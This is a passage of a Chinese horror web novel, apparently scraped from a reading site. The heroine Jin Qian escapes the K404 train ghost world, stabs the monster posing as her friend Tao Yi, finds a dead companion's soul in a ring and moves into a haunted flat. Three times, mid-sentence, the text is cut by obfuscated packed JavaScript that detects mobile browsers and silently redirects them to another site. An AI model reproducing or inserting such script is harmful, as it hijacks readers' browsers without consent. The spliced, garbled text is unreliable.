玻璃正中间是一块黝黑的深洞,黑洞不语,只是一味地吃着所有的力量。 水鬼的头发,顶上如水一般澄澈的光…… “不,不要……回来,都给我回来……”水鬼像是发疯一般,想要把无形的力量从那个深洞里拉回来。 可是,当它的手刚一触碰道那个深洞时,它整个身形都被吸入进了那个黑洞。它趁着最后的反应,抓住了玻璃的边缘。 “救我……救救我。”它眼里写满了祈求,看向不知何时摘下面具的今浅。 今浅安静地站在出口。 她并没有看见什么黑洞。 外面是一片空旷的草原,草原中间,有个白光。 “我知道错了……我以后不会害人了……你把我救出来,我一定会给你出口的方法……你人最好了,不是吗?”水鬼晓之以情,动之以理,打感情牌,让今浅救它。 今浅看了它一眼,说:“是吗?你是保证,之后都不会杀人了?” “是,是……你快救我上来吧。”水鬼连忙点头。 它在心里却笑出声来。这个人居然这么好骗,居然连鬼说的话都相信。 下一秒,它只觉得自己的双手疼痛。 水鬼下意识松手,自己却被吸入了那个黑洞之中。 在自己的视野即将消散的时候,它只看见那个女生,向它…… 竖了一个中指。 水鬼:……!!! 今浅放手,若无其事地移开手中的棍子,假装刚才打痛水鬼让它放手的人,不是她自己。 一回头,便看见陶依和花旧笑默默地看她。 “这鬼刚才在撒谎。”今浅解释,“它还觉得我很蠢很好骗。我是老实,但不代表我傻到看不出它在撒谎。” 陶依:…… 花旧笑:…… “那么,现在就是,只要从这个出口走了,我们就离开了这个世界,对吗?”陶依指着那个出口,若有所思。 “那么,我们握手,当作告别吧。”花旧笑站起来,走向今浅面前,“你很需要的。” “啊,可是你身上的温度太高了,我怕你趁机把我烤得外焦内嫩。”今浅顿了顿。在花旧笑越来越危险的眼神中,她镇定开口解释,“我的意思说,我怕你借机吃我豆腐。” “要不是看在你还算合我眼缘的份上,就凭你这张嘴,你就已经死了千次万次。”花旧笑皮笑肉不笑,见今浅还在磨蹭,催促道,“快点伸手。” 今浅不情不愿伸手。 下一秒,她的脑海里响起一道声音。 【已收到被动技能:周而复始。(刷新一个陷入冷却的技能)】、 【已触发被动:周而复始(刷新一个技能)】 【被动:周而复始,陷入冷却中(0/1)】 【被动:名刀司命(已激活)】 一连串的提示音在她的脑海里叽叽喳喳地吵了一通。 “……?”今浅还没反应过来,这个技能就已经用完了。 “发什么呆?还不赶紧离开。”花旧笑道,“如果你真的很想留下来陪我,我也不是不愿意。” “唉,既然你如此强烈地恳求我,我只能勉为其难地答应……诶诶,别打我了,我这就走。”今浅灵活躲掉花旧笑的攻击,看向一直沉默的陶依,说,“你先出去吧。” “好。”陶依笑着答应了。 当陶依靠近今浅时,今浅察觉自己手心里捡到的那枚戒指剧烈地颤抖,像是在……害怕。 今浅微顿。 “陶依。”今浅叫了一声,说,“你当时在那个小角落里,什么东西都没有看见,对吗?” “嗯,当然了。”陶依翻窗,站在底下,说,“唉呀别磨蹭了,你也赶紧下来吧。” 夜晚的风很静,只是稍微吹动了陶依的刘海。她头顶上的红色蝴蝶结随风飘扬,很漂亮。 今浅旧伤新伤牵扯在一起,翻窗的速度很慢,最后被花旧笑不耐烦地扔出窗外。 和今浅一起被扔出窗外的,还有她的书包和那根一直陪伴今浅的棍子。 今浅倒在地上,滚了几圈后,才支起身子,站起来,一边拍去身上的灰,一边捡起她掉落的装备,就像是年迈的拾荒老人。 身后的K404号列车再次鸣笛,缓缓前行。 “太好了,前面就是出口了,我们终于能离开。”陶依欣喜。 今浅应了一声,跟上她。 很快,陶依的体力不支,落后今浅半个身位。 借着皎洁的月光,今浅和陶依走了很久,却始终无法靠近那道白光。 “难道,一定只有一个人才能离开吗?”今浅说。 “如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16121077|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果我说是的,你会怎么做?”陶依说。 “那就再找下一个出口。”今浅说,“直到能让我们都离开为止。” 身后的人停下了脚步。 今浅顿了顿,还没反应过来,只觉得自己腰部像是被什么东西扎了一下。 她下意识用铁棍反击,“铛”一声,正好对上了陶依几乎化成镰刀的左手。 陶依:…… 今浅:…… 她不疼,但看起来怪吓人的。 【已触发被动:名刀司命(抵御1秒以内的所有致命伤)】 【被动:名刀司命,陷入冷却中(cd:48h)】 陶依微笑的神情划过一道愕然。 “没想到,你还有底牌。”陶依抿唇,说,“但是,应该都用完了吧。” 今浅看着眼前的有些陌生的人,抄起铁棍,抵住陶依的胸膛,说:“嗯,确实都用完了。” 现在,陪着她的,只有手中的铁棍了。 陶依却不相信。 月光下,眼前的人神情淡漠,仿佛根本不把自己放在眼里,这种忽略感让陶依有那点的恼羞成怒。 “这个时候了,你还想骗我?”陶依说,“难道我这么做,你不意外吗?” “杀我吗?”今浅说,“我当然知道你不是人。不然,你怎么会干出人干不出的事情呢。” “你都看出来了?”陶依皱眉,说,“我明明伪装成一个柔软害怕的女生,伪装得很成功。你从哪点看出来的?” “因为你居然没听过《反方向的钟》。” “……?” “额,因为你没吃东西还不感觉饿。” “我是认真的。” “每一点。”今浅说,“包括,把我拉进怪谈世界的,也是你吧。” 陶依:…… “我还知道,你其实并不是K404怪谈的土生鬼怪。应该是别的怪谈世界里,过来‘狩猎’人类和鬼怪,从中增长实力的吧。” 陶依:…… “一定要我细细罗列吗?嗯,有点多,我想一想。”今浅说,“一开始,车站里有五只鼠头人,每只鼠头人对应一个人。我肯定是人,两个死人是人,两个无辜乘客也是人。只有你是多出来了。当然这可能只是巧合。 你想跟我一起进厕所,其实是想在那时候吃我。因为那是第一次天黑,我也不知道怪谈的事情,最好下手。但很可惜我拒绝了。 我离开厕所后,你引我去餐厅车厢。按照先前的推断,你来的路线不可能没见过影子怪物,更不用说,你还买了不能吃的早餐。既然你能在前面成功‘躲避’影子怪物,那为何进入餐厅车厢的时候,出声叫了我的名字。除非你本来就想让我死。 当然,最重要的一点,闻啼是被你吃的吧。” 一提到“闻啼”两个字,今浅手心里的戒指就在飞快震动。 陶依没有否认,说:“这也是你推断出来的?” “这是受害者的冤魂告诉我的。”今浅见陶依不语,说,“那个角落很难出来,我四肢兼全的人出来都有些费劲,更不用说闻啼这个一会儿一米八八一会儿一米六八的腿脚不便人士了。 在这种情况,如果他真的靠一己之力,从那个角落里,再把你塞进去,再过去跟焦炭人放手一搏,中途甚至不会被焦炭人拦截。那只靠他,就可以杀穿副本了。” “没想到,你跟我相处的那么久时间里,都是为了找到发我是鬼怪的证据。”陶依说,“那你之前为什么还要救我一命,还为什么要带我逃跑?” “因为一开始,我是真心把你当成朋友。”今浅说。 直到,“陶依”真的吃了人。 “陶依”沉默。 气氛凝固起来。 19. 第 19 章 “不错。”陶依轻笑,“闻啼确实是我吃的。你的推断很准确,是我轻率了。只是我没想到,你对我的防备居然这么高。” 它本以为,今浅一直保护它,已经相信了它。 “书上说了,不要轻易相信对自己好的陌生人。”今浅说,“因为很有可能,他们都是别有所图的。” “我虽然攻击了你,可是你并没有受到伤害呀。”陶依说,“我只是开个玩笑,你不要这么较真嘛。” “……看在我们是朋友的份上,我不会对你下手。下次见面,我不会手软。”今浅移开手中的铁棍,转身,却没有抬脚离开。 “你这是,放我一马?”陶依说,“你人真好。没想到作为鬼怪的我,还能交到你这样的朋友……” 陶依在心里却乐了。 只是因为“朋友”二字,就相信了它说的话,甚至还敢把后背交给它。 这个人类可真是善良天真到愚蠢的地步。 可也正好,这个人类恐怕自己也没有想到,她就这么不经意间,再次给了它偷袭的机会。 陶依眼底慢慢浮上了些许不屑。左手再次化成镰刀,悄无声息。 它屏住呼吸,慢慢靠近面前这个愚蠢的人类。 这个人类依旧没有移动,只是站在原地,说:“书上说了,对待朋友,要用真心换真心。” 在月光下,那把镰刀散发着寒冷的光芒,最后缓缓对准今浅的背影。 “嗯,书上说的对。”陶依说,“我也感受到了你的真心。” 就在陶依的攻击即将得逞的时候,今浅突然一个转身,与此同时,一道寒芒闪过。 陶依还没来得及收回自己的偷袭,胸口一痛,而眼前的人漫不经心的话语落到她的心上:“嗨,又见面了。” 陶依愕然低头,一个铁棍穿破了它的胸膛。 “你……”陶依刚开口,却“哇”地吐出几口鲜血。 它擦掉自己唇边的血,难以置信:“你不是说了,不会对我下手吗?” “是啊。”今浅说,“所以,我没有用手,用的是铁棍。” “你还说下次见面才不会手下留情。你言而无信!” “怎么会,我很老实,从来不会撒谎。”今浅垂下眼眸,加大了手中的力度。 陶依吃痛,闷哼一声,却意外对上今浅的眼睛。 莫名的,陶依心里莫名发怵。 今浅说,“这不就已经见面了嘛。” 她刚才特地打了个招呼。 陶依定定地看着今浅,说:“我还以为,你真的会放了我。” “嗯?”今浅意外,“你怎么会产生这种错觉。” “……”陶依不语。 “我记得,我们第一次见面的时候,我就引用了书中的名言。”今浅想了想,说,“斩草要除根,否则春风吹又生。” “原来,你那时候,不止是在对红眼鼠头人说话啊。”陶依喃喃道,“你刚刚在转身的时候,就已经做好杀了我的决心。可既然如此,你又为何多此一举,再转过身来骗我呢?!” 它万万没想到,今浅居然如此狡猾,用假动作来欺骗自己。 它还真是低估了今浅这个人。 “啊,转身。这是我爸教的。”今浅回忆着,说,“他说站在原地,老老实实地告诉对方自己接下来的怎么做的行为太愚蠢。所以让我在做这些事情之前,先加个转身,说是这样会聪明点。” 尽管今浅也不知道,为什么加个转身,就会很聪明。 陶依:…… 被这样的人重伤,比起愤怒和难以置信,耻辱更多一点。 它宁愿今浅告诉自己,这是她计划的一部分,也不愿意承认,自己是被一个简单的转身给骗了。 今浅拔出铁棍,陶依倒下,胸口的血液四溅。 但是它的血没有继续流淌,而是在慢慢地回流。 陶依恢复身体,需要一定的时间。在这过程,陶依无法移动。 今浅见状,抬脚就跑。 怪谈世界很直接难杀死鬼怪。她的目的也不是杀死陶依,而是削弱陶依的状态,让自己能早点离开。 如果不是花旧笑给她的被动,让她的保命技能“名刀”重新刷新,就算自己刚才早有防备,也会死在陶依的手上。 今浅心里凝重。 这甚至不是陶依的主场,它就能直接吃掉一个人。 那如果…… “呵呵呵……” 身后传来陶依的笑声。 今浅不语,只是加快了跑向白光的速度。 没有陶依的干扰,今浅离白光越来越近了。 “今浅,你真的好有趣啊。”陶依笑着说,“真是期待我们下一次见面。” “不会有下次。” “这可不是你说得算呀,今浅。”陶依说,“希望你下次也能像这次一样聪明,一下子就认出我来了呢。” 半个身子进入白光的今浅察觉到有什么东西爬上了自己的手臂。 今浅低头一看,粘在铁棍上的鲜血并没有回到陶依身上,而是顺着铁棍往上爬。 今浅心一惊,果断扔掉这跟陪她出生入死的铁棍。 那些血液却没有跟着铁棍被抛下,而是悬浮在空中,像灵活的小蛇,组成了今浅看不懂的符文。 “你躲不掉的,这是邀请,也是定位。”陶依离她很远,但声音很清晰,“下次见面,我一定会把你杀死,再吃到连渣子都不剩。” 今浅无法躲闪,只能看着这些符文,嵌入进她的身体。 下一秒,今浅消失在白光里。 ———— 今浅再次醒来,发现自己躺在一张狭窄的床上。她撑着身子,坐正,环顾四周,愣了一下。 自己居然是在火车的床上。 难道自己并没有逃出来? “哎哟,吓死了。”突然响起一道声音。 今浅看过去,是一个穿着翠绿大衫的大娘。大娘正一边拍着自己的胸口,一边心有余悸地说:“你一直都不醒来,俺差点还以为你睡昏厥了哦。” 今浅记得,这位大娘是她登上火车时,遇见的活人。 “大娘,我睡多久了?”今浅揉了揉头。 “快一天了。你一上车就直愣愣地倒在床上,任凭别人怎么吵,你都没醒。你咋睡了那么久啊。”大娘深深叹气,说,“现在的年轻人也真是不容易啊,压力真大……” 今浅像是突然想起什么,问:“大娘,你有没有看见一个女生,跟我同行,带着粉色蝴蝶结。” “啥?”大娘疑惑,“你不一直都是一个人吗?咋还有另一个人啊……姑娘啊,你可别吓咱大娘啊。大娘我心脏不好,可经不住吓。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125615|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “抱歉啊大娘。”今浅道歉。 “不说了不说了。”大娘挥手,撑腰起身,一边捶背一边囔囔道,“我还是找张大爷聊聊吧。” 大娘一走,这节车厢明显就冷清下来。 看样子,有不少人在她沉睡时下了火车。 希望他们平安。 今浅下床,突然感觉有个硬硬的东西硌手。 今浅顿了顿,摊开手心。 一个素戒,上面有些划痕,看起来年代久远。 和她在K404上捡到的戒指一模一样。 “没猜错的话,这是我从怪谈世界带出来的物品。”今浅说,“难道,这就是书上说的机遇,里面住着一个道行高深的白胡子老爷爷?” “不是哦。里面住着的是一个年轻气盛的帅小伙。” “啊。” “?你好像很失望。” “怎么会。”今浅说,“我只是突然想到了,戒指是无缘无故出现在我面前的。书上说了,不能把不属于自己的东西占为己有。我想,我应该把它交给警察蜀黍。” “警察蜀黍可不会相信戒指会说话。” “这么说,连正道的光都不相信的存在,那肯定是邪物。”今浅说,“书上说了,这种情况,应该用火消灭邪物。不要让邪物蛊惑人心。” “今浅你不要再装糊涂了,明明你都猜出我是谁了!” “你是谁呀?” “……我是闻啼。对,就是跟你一起进入过怪谈世界的人。怪谈世界是真实的。在那里死去的人,在现实中也会死,不过会晚几天,死因会很奇怪。” 所以,离开火车并不能改变已死的命运。 闻啼说,“我会变成戒指,是因为我的能力可以随机让一个物体当作我的身体,接受我的灵魂。但代价是,我必须连同自己的肉身一起进入怪谈世界。” “那你原来的身体呢?” “自然是被你的好朋友吃了。”闻啼说。 “我还以为你是真有绅士精神。”今浅叹气。 “那我可真是太绅士了,在死亡面前还想着别人,怎么说也得给我颁个‘优秀青年’的大奖。” “在我心里,你已经有了。” “我可不相信。你连实际的诚意都拿不出来。”闻啼说,“不过,不要把我交给警察,不要把我扔掉,不要把我送给别人。” 今浅说:“如果我偏偏这么做呢?” “那么周围无辜的人,就很可能会被牵连,被选中怪谈世界。”闻啼说,“你要知道,我和你都是进入过怪谈世界的。这意味着,我们进入下一个怪谈的几率,比普通人要高出很多。在我们身边的人,也会更加危险。” 今浅不说话。 她想到陶依说的“下次再见”。 早知如此,自己就应该下手更狠一点,让陶依连放“定位”的力气都没有。 “你不说话,是在思考怪谈世界的规律吗?”闻啼说,“没事的,现在我们都是一条船上的蚂蚱,有什么想问的,都可以跟我说。” 说不定今浅想问的问题,他正好都知道。 “我确实有些想说的。” “嗯,是鬼怪的特性?还是何时进入怪谈世界的规律?” “都不是。”今浅说,“你在怪谈世界里说过请我吃饭,现在还作数吗?” 闻啼:…… 20. 第 20 章 最终,闻啼还是没有给今浅买早餐。 并不是因为他食言,只是因为闻啼全数家当全都落在怪谈世界,就连身体也被鬼吃得一干二净。 他还没有能打开手机进行扫码支付的指纹。 不过,今浅也还是有东西吃。 她行李箱里有方便面。 吃完面后,夜色降临。包厢内的其他人也陆陆续续回来了。 闻啼被今浅塞进书包里。 今浅把包放在床铺的角落,随后起身,走到车厢的连接处,一边找着信号,一边打电话给妈妈。 电话很快就被接通了。 “喂,今浅啊,怎么了?”妈妈温柔的声音从电话那头传来。 今浅听到妈妈的声音后,眼眶通红,鼻头微酸。 只有听见妈妈的声音,她才实实在在地感觉到,自己真离开了要人命的怪谈世界。 “没事的,妈妈,只是突然想你了。”今浅说,“你的工作还顺利吗?” “唉,白去了一趟。那个村民只是吃错菌子,产生了幻觉。”妈妈说,“不过好在这趟还是有收获的。听说,隔壁村的隔壁村里,有人从怪谈世界里逃出来了。就是有点远,要坐火车。” 今浅心一惊,说:“火车?妈妈,你先等等,我……” 今浅一顿。 她想到,自己先前跟妈妈提到“图鉴”时,手机很快就没有信号,随后进入怪谈世界。 如果自己说出在怪谈世界的经过,会不会再次影响这通电话的信号? “怎么了,今浅?”妈妈疑惑。 今浅回过神,准备把怪谈世界的经过说出来。 可话还没从嘴里出来,今浅突然感觉,一阵巨大的慌恐和不安席卷她的全身,喉咙像是被无形的手扼住了,让她难以呼吸。 就好像,自己如果把这件事情说出来了,就会遇见此生最恐惧的事情。 今浅心里明了。 某种未知的存在,不让自己跟妈妈谈论这些内容。 她不知道那是什么,但肯定不是巴不得吃人的鬼怪和怪谈。 等你如果,如果妈妈真的上了那个列车,就很有可能遇见危险。 自己必须得用另外的一种办法,把这件事情告诉妈妈。 今浅抿唇,神情凝重,但语调却像平常一样松弛,尽量让电话那头的妈妈听不出任何的异样。 今浅说:“我最近在书上看到了一个关于火车的故事,感觉还挺有趣的。” 扼住自己喉咙都那股惶恐和不安逐渐消散。 今浅望向车窗外,不时路灯划过,漆黑的夜幕看不见星星。 今晚是阴天,天幕下是连绵不绝的茵茵青山。 今浅说:“那辆火车的名字,我们就叫K404。如果,你意外登上了这辆列车,请在第四天的夜晚前离开它。在此期间,请务必注意以下的事项。” 今浅停了一会儿,那些惶恐和不安并没有缠上自己。 以“讲故事”的口吻说这些,并不会让那个“未知的存在”心生警惕。 今浅深吸一口气,神情严肃。 “1,这辆火车具有浓厚的地域风情,因此对应的设施和服务也很有地域特色。如果你发现了一些看起来不太合理的地方,比如乘客像行走的焦炭人,亦或是墙壁出现焦黑的烧痕,请不用放在心上。这只是火车为了让你有沉浸式地体验他们的服务。” “2,请不要进入厕……”话还没说完,今浅又感觉自己的喉咙被扼住。 今浅心知肚明。 不能直接告诉妈妈危险的地方在哪里。 这会被“未知的存在”察觉。 她重新组织语言,这次那股力量消散。 “2,厕所的水龙头有时会有问题,如非必要,请勿入内。请注意,厕所狭窄,一次只能进入一个人,因此厕所有且只有一个人,请勿交谈,更不要交易。离开时,请随手关门。” 如果把危险的存在用因果关系合理化,那么就能从“未知的存在”眼皮子底下糊弄过去。 今浅如法炮制,继续说出第三,第四点。 “3,如果你不小心进入了厕所,请保证,准备离开时厕所的灯没有被打开。如果灯是开的,那么请你悄无声息地摁下镜子里的开关,而后迅速离开。” “4,贪小便宜吃大亏。纵使车上的物价有多么诱人,请吃自带的食物。请勿和卖东西的乘务员交流。” 今浅不确定那个影子怪物有没有被焦炭人彻底消灭,影子怪物很会苟活。她也不知道它有没有准备后手。 为了以防万一,她还是加上了最后一点——不要和那个卖东西的焦炭乘务员说话。 “5,乘务员是友好的,在某些情况下,会是你的朋友。乘务员帮了车里的乘客很多事情,不经常在乘务室。车里的乘客都很尊重乘务员,不会随便去乘务室打扰乘务员的休息。” “6,不要吸食来路不明的气体,车灯也不会自动亮起。遇到任何突发问题,立刻前往乘务室寻求帮助。” “7,火车需要火才能继续前行,请不要妨碍火车长驾驶火车。避免出现交通事故。” “8,不要进入看起来其乐融融的车厢。温暖的烛光有的时候是通往地狱的陷阱。尤其是,你在那节车厢里看见了不该存在的人。” “9,部分古老的车窗和崭新的车窗有明显的区别,它也许藏着让你眼前一亮的惊喜。必要时,寻求朋友的帮助。” 今浅忐忑不安地说完了这些规则。好在接下来,“未知的存在”没有阻碍她。 这是今浅根据自己的经历,推测出比较好的离开方法。 白天,寻找结满蜘蛛网的玻璃。 夜晚,躲进乘务室,这可以躲开焦炭人,花旧笑和影子怪物。不进入厕所,就见不到水鬼。 乐于助人的焦炭乘务员是中立偏友善的鬼,它身为乘务员,不会拒绝乘客的请求,可以让它打碎玻璃,就此离开。 “今浅,这听起来……”妈妈迟疑片刻。 今浅心一跳,笑着说:“妈妈,这只是我在书上看到的一个故事。你可不要多想。” 她轻飘飘地,将自己在K404火车里出生入死、总结出来的存活规律,粉饰成书上边角的一个寻常规则故事,妄图借此骗过“未知存在”的注视。 今浅怕妈妈追问,扯开话题。 好在妈妈也相信了她的说辞。 两人聊了一会儿后,今浅挂掉电话。 她回到床铺,把床帘拉上,拉开自己一直随身携带的书包,从中掏出了那本图鉴。 封面是墨绿色的,比她之前看到的颜色要深了几分。 今浅翻开图鉴,里面除了之前的无面人以外,还多了几页纸张。 【红眼鼠头人】【影子怪】【焦炭人】【水鬼】…… 可惜,它们的技能栏都是空缺的。 根据之前的经验,今浅猜测,这可能是要自己彻底杀掉它们,就像杀死无面人一样,收集对应的纸张,才能获得对应的技能。 红眼鼠头人,她杀了,但没有时间捡纸张。 焦炭人,她并没有动手。好在花旧笑给了自己一个技能。 水鬼是被莫名的力量卷走,不是自己杀的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133930|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自己也无法拿到纸张。 已知,目前得到技能的方法有两种,一种是赠与,一种是杀死。 通过赠与方式,得到的技能暂时没有副作用。可惜使用具有固定次数。一旦用完,或者在冷却中,她就是手无寸铁的普通人。 而杀鬼,是通过图鉴作为媒介,自身付出代价,借用相应的技能。但在过程中,鬼怪残余的情感极会影响自身的理智。 今浅猜测,如果借用过多的力量,自己对应的代价,便是被鬼怪夺舍。 她现在只有一个保命技能和一个刷新保命技能的技能。这两个是她绝不能说出来的底牌。 自己必须得想办法,多得到其它技能。 今浅又往后翻了几页,赫然看见了一张记录着【K404火车】的怪谈。上面列举着许多的规则,都是她刚才说过的。 但她刚才打电话的时候,这本图鉴并不在她身边。 今浅若有所思,余光中看见,放在图鉴旁边的戒指微微颤抖。 “闻啼,你知道我们什么时候会再次进入怪谈世界吗?” 过了一会儿,闻啼才出声:“你会在现实中接触到一些鬼怪。那些鬼怪会引领你去怪谈世界的入口。如果你不去,那个入口就会离你越来越近。最后在你没有任何防备的情况下,把你吞进去。” “原来是强制进入的。”今浅叹气。 “最好不要等到最后一刻进入怪谈世界。”闻啼说,“怪谈世界越往后越危险。如果是在最后一秒进去的,很有可能没有任何的机会去搜集线索,甚至直接面临鬼怪,瞬间死亡。” 今浅点头。 闻啼附身的戒指在剧烈地抖动着。 他似乎有什么话很想跟今浅说。 今浅很有耐心,等他自己开口。 “……今浅,你就没有什么想问我的吗?”闻啼憋不住了,暗示今浅问他。 “你愿意告诉我,那么不用我问,你就会说出来。你不愿意告诉我,那么无论我怎么询问,你都不会开口。”今浅说,“所以,你如果有想说的,就直接说出来。” 她听不懂那些弯弯绕绕的。 “可是……”闻啼纠结。 “没事。”今浅说,“说出来。” 闻啼叹气,认命地说:“今浅,你离开的时候,也把我带走吧。” “很好,你已经学会了主动表达自己的需求。不过可惜的是,我带不了你。”今浅说,“我的衣服没有口袋。” “……那就把我戴在你的手上。” “按照书上所言,你这个行为,是在向我求婚。”今浅叹气,说,“没想到我的魅力如此之大,居然能够让一个戒指为我神魂颠倒。” “这不是神魂颠倒的问题。正所谓,一包不容二物。”闻啼说,“这个图鉴刚才想欺负我。如果不是你来得快,你现在就可能见不到我了。” 今浅惊讶地看了一眼图鉴。 图鉴不语,只是墨绿色的封面变红了。 “你看,它被我戳中心事,恼羞成怒了。”闻啼说。 图鉴的书页往外渗血。血液七七八八地拐弯着,随后组成了一个字:冤。 今浅:…… 闻啼:!!! 她有点怀疑地看着闻啼。 “我说的是真的。”闻啼急了,“它刚刚还想吃我,现在居然还倒打一把。” 图鉴的“冤”字拆开了,组成了一朵宁静致远的莲花。 它什么都没说,但好像什么都说了。 “好吧,闻啼,我知道了。”今浅说,“其实,你做这么多,都是因为一个原因。” 21. 第 21 章 闻啼虎躯一震。 难道,真的被她看出来自己的真实…… “你怕黑。”今浅信誓旦旦。 闻啼:…… “你才怕黑。”闻啼炸毛,“我堂堂男子汉大丈夫,怎么会怕黑?!” “那你为什么找这么多的借口。”今浅说,“书上说了,人越强调的部分,就说明那是他越缺少的部分。你在强调自己不怕黑,说明你心里其实非常怕黑。” “可我真的不怕黑。” “没事的,我都懂。男生喜欢逞强,经常口是心非。”今浅说,“不过,你以后不用再怕黑。” “为什么,难道你答应随身带我了?” “不。”今浅摇头,郑重其事地说,“因为,我就是光。” “?” “而现在,你的光来了。” “苍天啊,请您现在下降一道闪电,让这位脑回路奇葩的中二少女看清楚,什么才是真正的光吧。”要不是碍于戒指的限制,闻啼真想做法祈祷。 一向唯物主义的闻啼终于尝试相信天上是有神仙。而且,天上的神仙能够听到他这位,临时是最虔诚的现充信徒说出的话:“最好劈歪了,劈到这位中二少女的身上,外焦内嫩的那种。” “外焦内嫩?”今浅说,“那就很香了。” 闻啼:…… 他还忘了,今浅还是一个大馋丫头。 一人一戒指,一边互怼,还算愉快地度过接下来的火车时光。 今浅下火车时,是在一个阳光明媚的清晨。 在这一站下车的人很多。但今浅显得鹤立鸡群,格外突出。 她目不斜视地穿过人群,一时间听到了“哇”声一片。 路人看了她一眼,不确定,又看了一眼。 “哇,简直了。我从来都没有见到这样,清新脱俗的人。” “是啊。”旁边的人附和着,“我也没见过。特别是她的行李,太特别了。” “看样子,还是BALISHIJIA的新品。没想到,这样的人居然会跟我们一起挤火车。” 路人感叹。 今浅淡定。 闻啼不语,只是努力降低自己的存在感。 毕竟,不是所有人都像今浅一样有勇气,敢背着用化肥袋子做成的书包,拎着用面粉麻袋做的行李箱,面不改色地招摇过市。 今浅一出车站,便看见面色焦急,踱步打电话的蔡阿姨。 蔡阿姨正好一直看向火车出站口。她一见到今浅,连忙对着手机那头讲了几句,随后立马挂断,朝今浅挥了挥手,说:“小浅,这边。” 今浅跑过来。 “没想到,这么多年没见,你都长这么高了。”蔡阿姨感叹道,“上次见到你的时候,你还只是个小萝卜丁。” “但是蔡阿姨没有变啊。”今浅笑着说,“还是和我小时候见到的一模一样,年轻又漂亮。” “你嘴还挺甜的。”蔡阿姨笑得合不拢嘴,她揉了揉今浅的头,说,“走,今天我跟学校那边请了上午的假,正好可以带你吃个中饭……哦对了,小浅,你应该还没租到房子吧?要不先来我家住几天。” “我也很想去蔡阿姨家住,不过很可惜,我早就租到房子了。”今浅委婉拒绝,“谢谢蔡阿姨啦。” 她进过怪谈世界。 如果去蔡阿姨家住的话,怪谈会随机选她周围的人,很有可能会牵连到无辜的蔡阿姨。 今浅可不想害身边的人。 蔡阿姨也不强求,说:“那行,我就送你到你租房的地方吧。” 今浅坐上了蔡阿姨的车。 一路上,蔡阿姨的手机一直在响,看样子是她的领导一直在催促。 闻啼趁着接二连三的铃声,在旁边小声问:“今浅,你什么时候租到房子了,你不是没钱了吗?” 他能理解今浅为了不连累身边的人,从而撒了一个小谎,说自己有租房。 但是,今浅为了不连累身边人,手里有没有余钱,不得不住在桥洞、树干或公园凉亭里,闻啼就不赞成了。 这是出于对她人身安全的考虑。 今浅想了想,说:“现在没钱,不过过了今晚,就有钱了。” “?你可别做什么傻事,特别是,不要做违法犯罪的事情啊。”闻啼心里一紧。 “怎么会,我可是根正苗红的社会好青年。”今浅说,“我一直听说,城里的房价很贵,心里可紧张得不得了。可谁知,我昨天刚刷到的一个房子,不但不要钱,而且还送我钱。” “你不会是被人骗了吧?” “听房东的描述,不像骗子。”今浅说,“房东这人,一看文化程度就很高,租房的标题还有拟人的手法,写着‘凶宅’两字。我还没见过会生气的房子。” “……让我猜猜,你这‘凶宅’后面,还是不是加了‘试睡员’三个字?” “哇,你都知道,那看来这个职业果真很好。”今浅说,“躺一晚,就能赚2000。一个月收入就能过万,十年就能过百万,从此成为百万富翁走上人生巅峰。” “那我可算是明白,为什么还会反过来给我们钱了。”闻啼说,“一般凶宅都死过人。我们睡那儿,万一见鬼被吓死了,这就是买我们命的钱。” “没事,我们就算死,也只会死在怪谈世界的鬼怪手里。它们可不愿意把自己看上的小零食拱手让人。”今浅很乐观,“免费睡觉,还能赚钱,很划算诶。” 而代价只是遇见鬼而已。 闻啼一听,也是这个理,被今浅说服了。 前面开车的蔡阿姨终于忍不住,接了电话。 她跟电话那头说了一会儿后,跟后座的今浅道歉,说:“真不好意思啊,今浅,我学校那边有事,可能不能陪你吃中午饭了。” “没事的蔡阿姨,你的工作更重要。”今浅说。 看得出蔡阿姨的事情很紧急。她甚至都没关注今浅住的地方是个远近闻名的凶宅,等到今浅下车后,就直接一脚踩油门,开车走了。 “闻啼,你听力好,刚才电话那边的人说什么了呀?”今浅说。 “好像是她教课的班上,有个成绩很好的学生跳楼了。”闻啼说,“蔡阿姨应该是高中老师。高中学业压力很大,学生的心理健康确实容易出现问题。我当初都经常去看心理医生。” 今浅点头,和房东商量后,拎着行李搬进了凶宅,简单地收拾凶宅。 凶宅果然名副其实,不仅采光视野差,而且一进门,就有股不知哪里冒出来的阴风乱刮。平常人正眼都不敢瞧,生怕撞上了什么不干净的东西。 但今浅并不觉得。 她甚至觉得自己很幸运。 今浅在手机上广投简历,凭借着高中毕业的学历,成功应聘上了一个学校最重要最不可缺少的存在。 这个职业,神圣而又光荣,起早贪黑,格外伟大。 这 